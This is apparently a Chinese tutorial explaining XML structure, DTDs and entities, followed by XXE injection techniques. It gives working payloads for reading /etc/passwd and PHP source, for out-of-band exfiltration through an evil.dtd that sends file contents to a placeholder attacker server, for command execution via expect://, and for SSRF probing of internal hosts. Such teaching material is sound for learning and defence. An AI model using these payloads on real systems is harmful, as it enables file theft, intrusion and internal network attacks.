XML及XXE外部实体注入攻击

1 xml学习

1.1 特性

  • XML 指可扩展标记语言(EXtensible Markup Language)
  • XML 的设计宗旨是传输数据,而非显示数据
  • XML 标签没有被预定义。您需要自行定义标签。
  • XML 是不作为的。

    1.2 web开发

  1. XML把数据从HTML分离,通过JavaScript读取一个外部XML文件,然后更新 HTML 中的数据内容。
  2. 不兼容系统之间交换数据

    1.3 xml文档结构

    XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<!--XML声明-->
<?xml version="1.0"?>
<!--文档类型定义-->
<!DOCTYPE note [ <!--定义此文档是 note 类型的文档-->
<!ELEMENT note (to,from,heading,body)> <!--定义note元素有四个元素-->
<!ELEMENT to (#PCDATA)> <!--定义to元素为”#PCDATA”类型-->
<!ELEMENT from (#PCDATA)> <!--定义from元素为”#PCDATA”类型-->
<!ELEMENT head (#PCDATA)> <!--定义head元素为”#PCDATA”类型-->
<!ELEMENT body (#PCDATA)> <!--定义body元素为”#PCDATA”类型-->
]>
<!--文档元素-->
<note>
<to>Dave</to>
<from>Tom</from>
<head>Reminder</head>
<body>You are a good man</body>
</note>

1.4 语法规则

  1. XML 文档必须有根元素
  2. XML 文档必须有关闭标签
  3. XML 标签对大小写敏感
  4. XML 元素必须被正确的嵌套
  5. XML 属性必须加引号

1.5 DTD文档类型定义

文档类型定义(DTD)可定义合法的XML文档构建模块。它使用一系列合法的元素来定义文档的结构。DTD 可被成行地声明于 XML 文档中,也可作为一个外部引用。

内部的 DOCTYPE 声明:

1
<!DOCTYPE 根元素 [元素声明]>

外部文档声明:

1
<!DOCTYPE 根元素 SYSTEM "文件名">

声明一个元素:

1
2
<!ELEMENT 元素名称 类别>
<!ELEMENT 元素名称 (元素内容)>

DTD实体:

实体是用于定义引用普通文本或特殊字符的快捷方式的变量。实体引用是对实体的引用。实体可在内部或外部进行声明。(举个例子:有时候可能在多个文档中调用同样的内容,比如公司名称、版权声明等,为了避免重复输入这些内容,我们可以声明一个实体来表示这些内容,在文档中只需要引用这个实体。在XML处理器对这个文档进行分析处理后,引用实体的位置会被实体的内容所替换。)

内部实体声明:

1
<!ENTITY 实体名称 "实体的值">

一个实体由三部分构成:&符号, 实体名称, 分号 (;),这里&不论在GET还是在POST中都需要进行URL编码,因为是使用参数传入xml的,&符号会被认为是参数间的连接符号,示例

1
2
3
<!DOCTYPE foo [<!ELEMENT foo ANY >
<!ENTITY xxe "Thinking">]>
<foo>&xxe;</foo>

外部实体声明:

1
<!ENTITY 实体名称 SYSTEM "URI/URL">

外部实体,用来引入外部资源,有++SYSTEM和PUBLIC++两个关键字,表示实体来自本地计算机还是公共计算机,外部实体的引用可以借助各种协议,比如如下的三种:

1
2
3
file:///path/to/file.ext
http://url
php://filter/read=convert.base64-encode/resource=conf.php

外部实体的默认协议

示例:

1
2
3
4
5
6
7
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xdsec [
<!ELEMENT methodname ANY >
<!ENTITY xxe(实体引用名) SYSTEM "file:///etc/passwd"(实体内容) >]>
<methodcall>
<methodname>&xxe;</methodname>
</methodcall>

这种写法则调用了本地计算机的文件/etc/passwd,XML内容被解析后,文件内容便通过&xxe被存放在了methodname元素中,造成了敏感信息的泄露。

参数实体声明:

1
2
3
<!ENTITY % 实体名称 “实体的值”>
or
<!ENTITY % 实体名称 SYSTEM “URI”>

参数实体的引用只能在 DTD文档中使用,所以在xml文档内部就不能引用

image

2 XML外部实体攻击(XXE)

相关实验

当允许引用外部实体时,通过构造恶意内容,可导致读取任意文件、执行系统命令、探测内网端口、攻击内网网站等危害。

2.1 利用姿势

1、任意文件读取

1
2
3
4
5
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE a [<!ENTITY passwd SYSTEM "file:///etc/passwd">]>
<foo>
<value>&passwd;</value>
</foo>

1
2
3
4
5
6
7
8
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=index.php" >
]>
<root>
<name>&xxe;</name>
</root>

绕过无回显:

可以使用外带数据通道提取数据,先使用php://filter获取目标文件的内容,然后将内容以http请求发送到接受数据的服务器(攻击服务器)xxx.xxx.xxx。

1
2
3
4
5
6
7
<?xml version=”1.0”?>
<!DOCTYPE ANY [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=./target.php"> # /etc/issue
<!ENTITY % dtd SYSTEM "http://xxx.xxx.xxx/evil.dtd">
%dtd;
%send;
]>

evil.dtd的内容,内部的%号要进行实体编码成&#x25。

1
2
3
4
<!ENTITY % all
“<!ENTITY &#x25; send SYSTEM ‘http://xxx.xxx.xxx/?%file;’>”
>
%all;

有报错直接查看报错信息。

无报错需要访问接受数据的服务器中的日志信息,可以看到经过base64编码过的数据,解码后便可以得到数据。

2、执行系统命令

1
2
3
4
5
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE a [<!ENTITY xxe SYSTEM "expect://id">]>
<foo>
<value>&xxe;</value>
</foo>

该CASE是在安装expect扩展的PHP环境里执行系统命令,其他协议也有可能可以执行系统命令。

3、内网探测

1
2
3
4
5
6
7
8
9
10
11
<?php
$xml = <<<EOF
<?xml version = "1.0"?>
<!DOCTYPE ANY [
<!ENTITY f SYSTEM "http://192.168.1.1:80/">
]>
<x>&f;</x>
EOF;
$data = simplexml_load_string($xml);
print_r($data);
?>

由于xml实体注入攻击可以利用http://协议,也就是可以发起http请求。可以利用该请求去探查内网,进行SSRF攻击。

2.2 参考文章

https://www.cnblogs.com/zhaijiahui/p/9147595.html#autoid-5-0-0 (比较全面,包含ctf例题
http://blog.sina.com.cn/s/blog_54c367d40101anca.html
https://www.cnblogs.com/miyeah/p/4526088.html